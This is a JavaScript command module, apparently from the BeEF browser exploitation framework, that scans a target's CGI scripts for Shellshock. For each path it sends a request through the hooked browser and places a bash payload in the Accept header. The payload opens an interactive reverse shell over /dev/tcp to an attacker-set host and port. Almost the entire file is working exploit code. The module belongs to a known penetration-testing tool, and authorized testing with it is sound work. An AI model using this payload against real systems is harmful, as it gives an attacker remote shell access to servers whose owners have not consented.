Path: blob/master/modules/exploits/shell_shock_scanner/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var rproto = '<%= @rproto %>';8var rhost = '<%= @rhost %>';9var rport = '<%= @rport %>';10var lhost = '<%= @lhost %>';11var lport = '<%= @lport %>';12var target = rproto + '://' + rhost + ':' + rport;13var method = '<%= @method %>';14var wait = '<%= @wait %>';1516get_cgi = function(uri) {17try {18var payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1 &";19var xhr = new XMLHttpRequest();20xhr.open(method, target+uri, true);21xhr.onload = function () {22};23xhr.onreadystatechange = function () {24if (xhr.readyState == 4 && xhr.status == 200) {25beef.debug("[command #<%= @command_id %>] Response: " + xhr.response);26}27}28xhr.setRequestHeader("Accept", payload);29xhr.send(null);30} catch (e){31beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message);32}33}3435// add scripts to queue36var requests = new Array(37<%=38scripts = []39File.open("#{$root_dir}/modules/exploits/shell_shock_scanner/shocker-cgi_list", 'r') do |file_handle|40file_handle.each_line do |line|41uri = line.chomp!42next if uri =~ /^#/43next if uri.nil?44scripts << "'#{uri}'"45end46end47scripts.shuffle.join(",\n")48%>49);5051// process queue52beef.debug("[command #<%= @command_id %>] Starting Shellshock scan of "+target+" ("+requests.length+" URLs)");53beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");54var timeout = wait * requests.length + 10;55var handle = setInterval(function() {56if (requests.length > 0) {57get_cgi(requests.pop());58} else cleanup();59}, wait*1000);6061// clean up62cleanup = function() {63if (handle) {64beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");65clearInterval(handle);66handle = 0;67beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");68}69}70setTimeout("cleanup();", timeout*1000);7172});737475